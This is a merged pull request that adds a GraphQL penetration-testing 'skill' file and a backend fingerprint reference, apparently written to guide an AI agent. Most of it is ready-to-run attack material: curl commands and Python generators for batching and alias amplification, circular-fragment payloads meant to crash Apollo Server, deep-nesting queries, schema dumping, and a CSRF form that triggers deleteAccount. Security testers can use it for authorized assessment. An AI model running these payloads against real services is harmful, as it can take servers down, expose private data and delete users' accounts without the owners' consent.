Skip to content
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
339 changes: 339 additions & 0 deletions capabilities/web-security/skills/graphql-pentest/SKILL.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,339 @@
---
name: graphql-pentest
description: GraphQL endpoint discovery, resource abuse (batching, alias amplification, circular fragments, deep nesting), introspection exploitation, backend fingerprinting (Apollo vs graphql-java vs Yoga vs Hasura), and CSRF via content-type differentials. Use when target has GraphQL endpoints, JS source references /graphql paths, or introspection schema is available.
---

# GraphQL Pentesting

Systematic GraphQL security testing from endpoint discovery through resource abuse, auth bypass, and information disclosure. Covers the full attack surface: batching DoS, alias amplification, circular fragment crashes (CWE-674), deep nesting, introspection mining, content-type CSRF, and persisted query abuse.

## When to Use

- JS source contains `fetch`/`axios`/`gql` calls to `/graphql` paths
- Proxy sitemap shows `application/json` POST to GraphQL-shaped endpoints
- Static analysis matches flag GraphQL operations, mutations, or schema fragments
- Target uses known GraphQL frameworks (Apollo, graphql-java, Hasura, Yoga, Strawberry)
- Error responses contain `extensions.code`, `GRAPHQL_VALIDATION_FAILED`, or `PersistedQueryNotFound`

## Base Request

All GraphQL requests use this template (abbreviated as `GQL` in examples below):

```bash
curl -sk -X POST "https://TARGET/graphql" \
-H "Content-Type: application/json"
```

## Phase 1: Endpoint Discovery

### Common Paths

Probe these paths with `POST {"query":"{__typename}"}` and `Content-Type: application/json`:

```
/graphql /api/graphql /v1/graphql
/gql /api/gql /v2/graphql
/query /api/query /graphiql
/g/api/graphql /g/api/*/graphql /graphql/console
/playground /altair /voyager
/graphql/schema.json /graphql/schema.graphql
```

For microservice architectures, enumerate service-specific paths:

```
/api/<service>/graphql (e.g., /api/comments-server/graphql)
/g/api/<service>/graphql (gateway prefix)
/<service>/graphql (direct service routing)
```

**Source-driven discovery:** Extract GraphQL paths from JS bundles. Search for `fetch("`, `axios.post("`, `gql\``, `useQuery`, `useMutation`, `createHttpLink`, `ApolloClient`, `graphql-tag` in static analysis matches or source maps.

### Validation

For each discovered endpoint, send:

```bash
GQL POST "https://TARGET/graphql" -d '{"query":"{__typename}"}'
```

- `200 {"data":{"__typename":"Query"}}` = active GraphQL endpoint
- `401`/`403` = active but requires auth
- `400 "Must provide query string"` = active (different framework)
- `404`/`405` = not routed

## Phase 2: Backend Fingerprinting

Identify the backend before testing — it determines which attacks apply. Full differential table in `references/fingerprints.md`.

**Key differential:** Apollo Server (Node.js) does NOT validate circular fragments by default. graphql-java does. This is the most reliable fingerprint and the highest-value DoS vector.

```bash
# Fingerprint via circular fragment (most reliable)
GQL POST "https://TARGET/graphql" \
-d '{"query":"fragment A on Query{...B} fragment B on Query{...A} query{...A}"}'
```

- `500 Internal Server Error` = Apollo Server (vulnerable to CWE-674)
- `200` + `FragmentCycle not allowed` = graphql-java (safe)
- `200` + `Cannot spread fragment` = Yoga/validated

## Phase 3: Capability Matrix

Test every discovered endpoint for each capability. Build a matrix.

| Test | Payload | Vulnerable if |
|------|---------|---------------|
| Batching | `[{"query":"{__typename}"},{"query":"{__typename}"}]` | Both execute (two results returned) |
| Batch limit | Increment array size until rejection | Find the ceiling (e.g., 5, 30, unlimited) |
| Aliases | `{"query":"{a1:__typename a2:__typename ... aN:__typename}"}` | Returns N results; find the ceiling |
| Introspection | `{"query":"{__schema{types{name}}}"}` | Returns type list |
| Partial introspection | `{"query":"{__schema{queryType{name}}}"}` | Top-level works but nested fields stripped |
| Circular fragments | `{"query":"fragment A on Query{...B} fragment B on Query{...A} query{...A}"}` | HTTP 500 |
| Deep nesting | Recursive `{ field { field { field ... } } }` at depth 50+ | No depth limit rejection |
| Directive overload | `{"query":"{__typename @skip(if:false) @skip(if:false) ...x100}"}` | Accepted without limit |
| GET method | `GET /graphql?query={__typename}` | Executes (enables CSRF without preflight) |
| `application/graphql` CT | Body: `{__typename}` with `Content-Type: application/graphql` | Executes (CSRF vector: no JSON = no preflight) |
| APQ | `{"extensions":{"persistedQuery":{"version":1,"sha256Hash":"abc123"}}}` | `PERSISTED_QUERY_NOT_FOUND` (APQ enabled) |
| WebSocket | `Upgrade: websocket` on graphql path | Subscription endpoint active |
| Rate limiting | 50 requests in 5s | No 429 responses |

### Matrix Template

Record results per endpoint:

```
| Endpoint | Batch | Aliases | Introspection | Circ Frag | Depth | GET | CT diff | Rate Limit |
|----------|-------|---------|---------------|-----------|-------|-----|---------|------------|
| /graphql | [result] | [limit] | [full/partial/off] | [500/safe] | [limit] | [y/n] | [y/n] | [y/n] |
```

## Phase 4: Resource Abuse (DoS)

### 4A: Batching Amplification

If batching is enabled, multiply expensive operations:

```bash
# Generate batched payload (N copies of expensive query)
python3 -c "
import json
q = {'query': '{session { id email name }}'} # expensive resolver
print(json.dumps([q]*30))
" > /tmp/batch_payload.json

curl -sk -X POST "https://TARGET/graphql" \
-H "Content-Type: application/json" \
-w "\n%{time_total}s" \
-d @/tmp/batch_payload.json
```

**Proof methodology:** Compare baseline (single query) vs batched response time. Document the multiplier.
- Baseline: `{session{id}}` = 150ms
- Batched 30x: 30 copies = 4500ms (30x amplification)

### 4B: Alias Amplification

If aliases are unlimited or high-limit, multiply within a single query:

```bash
# Generate alias payload
python3 -c "
aliases = ' '.join([f'a{i}:session{{id email name}}' for i in range(1000)])
import json
print(json.dumps({'query': '{' + aliases + '}'}))
" > /tmp/alias_payload.json

curl -sk -X POST "https://TARGET/graphql" \
-H "Content-Type: application/json" \
-w "\n%{time_total}s" \
-d @/tmp/alias_payload.json
```

**Combined vector:** If both batching and aliases work, multiply: `batch_limit x alias_limit = total_ops`. Example: 5 batches x 1000 aliases = 5000 resolver invocations in one HTTP request.

### 4C: Circular Fragment DoS (CWE-674)

Triggers uncontrolled recursion on Apollo Server (Node.js) backends that skip `NoFragmentCycles` validation.

```bash
# 2-way cycle (minimal)
curl -sk -X POST "https://TARGET/graphql" \
-H "Content-Type: application/json" \
-d '{"query":"fragment A on Query{...B} fragment B on Query{...A} query{...A}"}'
```

**Escalation variants:**

```
2-way: fragment A on Query{...B} fragment B on Query{...A} query{...A}
3-way: fragment A on Query{...B} fragment B on Query{...C} fragment C on Query{...A} query{...A}
5-way: fragment A on Query{...B} fragment B on Query{...C} fragment C on Query{...D} fragment D on Query{...E} fragment E on Query{...A} query{...A}
```

If batching is also enabled, batch N circular fragment queries for N stack overflows per request:

```bash
python3 -c "
import json
q = {'query': 'fragment A on Query{...B} fragment B on Query{...A} query{...A}'}
print(json.dumps([q]*30))
" > /tmp/batch_circ_payload.json
```

**Impact evidence:**
- `500 Internal Server Error` = unhandled exception (server crash)
- `"Maximum call stack size exceeded"` in response = Node.js stack overflow (process kill)
- Response body contains `RangeError` = confirmed CWE-674

### 4D: Deep Nesting

For targets with recursive type relationships (e.g., `User.friends` returns `[User]`):

```bash
curl -sk -X POST "https://TARGET/graphql" \
-H "Content-Type: application/json" \
-d '{"query":"{user{friends{friends{friends{friends{friends{friends{friends{friends{friends{friends{id}}}}}}}}}}}}"}'
```

Test incrementally: depth 10, 20, 50, 100. Document where depth limiting kicks in (if ever).

## Phase 5: Information Disclosure

### 5A: Introspection Mining

If introspection is enabled (full or partial), dump the schema:

```bash
curl -sk -X POST "https://TARGET/graphql" \
-H "Content-Type: application/json" \
-d '{"query":"{ __schema { queryType { name } mutationType { name } types { name kind fields { name type { name kind ofType { name } } args { name type { name } } } } } }"}' \
| python3 -m json.tool > /tmp/schema.json
```

**What to extract:**
- Mutation names (state-changing operations: `deleteUser`, `updateRole`, `createPayment`)
- Types with PII fields (`email`, `phone`, `ssn`, `password`, `token`)
- Resolver arguments that accept IDs (IDOR candidates)
- Subscription types (real-time data exfil)
- Deprecated fields (may have weaker auth)

### 5B: Field Suggestion Exploitation

When introspection is disabled, submit typos and read error suggestions:

```bash
curl -sk -X POST "https://TARGET/graphql" \
-H "Content-Type: application/json" \
-d '{"query":"{usre{id}}"}'
# Response: "Did you mean 'user'?" -> schema enumeration via typos
```

Automate with a wordlist of common field/type names.

### 5C: Configuration Endpoints

Check for adjacent configuration endpoints near GraphQL paths:

```
/graphql/env /graphql/health /graphql/metrics
/api/graphql/env /api/graphql/config /api/graphql/debug
/<service>/env /<service>/health /<service>/config
```

These can leak Sentry DSNs, feature flags, build hashes, monitoring URLs, and internal service topology.

## Phase 6: Auth and Access Control

### 6A: Content-Type CSRF

If an endpoint accepts `application/graphql` or GET queries, CSRF is possible without preflight:

```bash
curl -sk -X POST "https://TARGET/graphql" \
-H "Content-Type: application/graphql" \
-d '{deleteAccount{success}}'
```

If the mutation executes, state-changing CSRF is confirmed. Build PoC HTML form:

```html
<form action="https://TARGET/graphql" method="POST" enctype="text/plain">
<input name='{"query":"mutation{deleteAccount{success}}","a":"' value='"}' />
<input type="submit" value="Click me" />
</form>
```

### 6B: Unauthenticated Access Probing

Test every endpoint without auth tokens:

```bash
curl -sk -X POST "https://TARGET/graphql" \
-H "Content-Type: application/json" \
-d '{"query":"{__typename}"}'
```

- `200` with data = unauthenticated access (test mutations next)
- `401`/`403` = auth required (expected)

### 6C: Persisted Query Hash Enumeration

If APQ is enabled (`PERSISTED_QUERY_NOT_FOUND`), known operation hashes bypass query allowlists. Extract hashes from JS bundles by grepping for `sha256Hash` followed by 64 hex chars.

## Proof Methodology

### Timing-Based Evidence

For all DoS vectors, the proof is the response time differential:

```bash
# Step 1: Baseline (3 samples)
for i in 1 2 3; do
curl -sk -w "%{time_total}\n" -o /dev/null \
-X POST "https://TARGET/graphql" \
-H "Content-Type: application/json" \
-d '{"query":"{__typename}"}'
done

# Step 2: Amplified (single request)
curl -sk -w "%{time_total}\n" -o /dev/null \
-X POST "https://TARGET/graphql" \
-H "Content-Type: application/json" \
-d @/tmp/amplified_payload.json

# Step 3: Document multiplier
# Baseline avg: 0.15s, Amplified: 6.2s = 41x amplification
```

### Stack Overflow Evidence

For circular fragment DoS, capture the error response body showing `RangeError` or `Maximum call stack size exceeded`. The 500 alone is the finding; the stack trace is bonus evidence.

## Chain With

- **auth-matrix-testing** — after mapping mutations via introspection, test per-resolver authorization
- **race-condition-single-packet** — batch + alias amplification as race condition trigger mechanism
- **orm-filter-data-leak** — GraphQL filter/search arguments often map to ORM queries with traversable relationships
- **saas-provider-url-ssrf** — GraphQL mutations accepting URLs (webhooks, avatars, imports) as SSRF sinks
- **blind-ssrf-chains** — GraphQL connector/datasource mutations as blind SSRF entry points
- **h2-waf-bypass** — if WAF blocks GraphQL payloads, escalate via HTTP/2 framing
- **cspt-xss** — SPA fetch paths derived from URL params that hit GraphQL endpoints

## Rules

- **Build the matrix first.** Test every endpoint for every capability before exploiting anything. The matrix reveals which endpoints are soft targets.
- **Fingerprint the backend.** Apollo vs graphql-java determines whether circular fragments crash the server. Do not waste time on CWE-674 against graphql-java.
- **Timing proof is king.** For DoS, the response time differential (baseline vs amplified) is the cleanest evidence. Always measure baseline first.
- **Circular fragments are not batching.** They are separate vulnerability classes (CWE-674 vs CWE-400). Report them separately even if on the same endpoint.
- **Check batch + alias combined.** The most powerful amplification is batch_limit x alias_limit. A 5-batch endpoint with unlimited aliases yields 5000+ ops per request.
- **application/graphql is a CSRF vector.** If mutations execute via non-JSON content types, CSRF is possible without CORS preflight. Always test this.
- **Introspection feeds everything.** Even partial introspection (top-level types) reveals expensive resolvers for alias amplification and mutation names for auth testing.

## Reference

- [GraphQL Spec 5.5.2.2: Fragment Spreads Must Not Form Cycles](https://spec.graphql.org/October2021/#sec-Fragment-spreads-must-not-form-cycles)
- [CWE-674: Uncontrolled Recursion](https://cwe.mitre.org/data/definitions/674.html)
- [CWE-400: Uncontrolled Resource Consumption](https://cwe.mitre.org/data/definitions/400.html)
- [OWASP GraphQL Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/GraphQL_Cheat_Sheet.html)
- [PortSwigger: Exploiting GraphQL](https://portswigger.net/web-security/graphql)
Original file line number Diff line number Diff line change
@@ -0,0 +1,48 @@
# GraphQL Backend Fingerprint Reference

## Error Shape Differentials

| Signal | Apollo Server (Node.js) | graphql-java | Hasura | Yoga/Envelop |
|--------|------------------------|--------------|--------|--------------|
| Error shape | `extensions.code` + `extensions.stacktrace` | `extensions` empty `{}` | `extensions.code` + `extensions.path` | `extensions.code` (Yoga-specific) |
| Introspection disabled msg | `INTROSPECTION_DISABLED` | `FieldUndefined` on sub-fields | `x-hasura-admin-secret` required | Custom message |
| Batch format | JSON array `[{q1},{q2}]` | Not supported (parse error) | JSON array | JSON array |
| Batch rejection | `BAD_REQUEST` or silent | `Unparseable request` | Rate-limited | Configurable |
| Circular fragments | **500 crash** (unvalidated) | **Validated** (`FragmentCycle not allowed`) | **Validated** | Depends on config |
| APQ | `PERSISTED_QUERY_NOT_FOUND` | Not standard | Allowed queries list | Plugin-dependent |

## Quick Fingerprint Commands

```bash
# Circular fragment test (most reliable differential)
curl -sk -X POST "https://TARGET/graphql" \
-H "Content-Type: application/json" \
-d '{"query":"fragment A on Query{...B} fragment B on Query{...A} query{...A}"}'
# 500 = Apollo (vulnerable CWE-674) | 200 + FragmentCycle error = graphql-java (safe)

# Batch test
curl -sk -X POST "https://TARGET/graphql" \
-H "Content-Type: application/json" \
-d '[{"query":"{__typename}"},{"query":"{__typename}"}]'
# Two results = batching enabled | parse error = graphql-java | BAD_REQUEST = Apollo disabled

# APQ test
curl -sk -X POST "https://TARGET/graphql" \
-H "Content-Type: application/json" \
-d '{"extensions":{"persistedQuery":{"version":1,"sha256Hash":"abc123"}}}'
# PERSISTED_QUERY_NOT_FOUND = APQ enabled (Apollo) | error = not supported
```

## Partial Introspection Pattern (graphql-java)

graphql-java may accept `__schema` top-level but strip sub-field access:

```bash
# Works (top-level)
{"query":"{__schema{queryType{name}}}"} # 200 + data

# Blocked (nested)
{"query":"{__schema{types{name fields{name}}}}"} # FieldUndefined errors on sub-fields
```

This reveals type names but not full field definitions. Use type names + field suggestions for enumeration.
Loading
Loading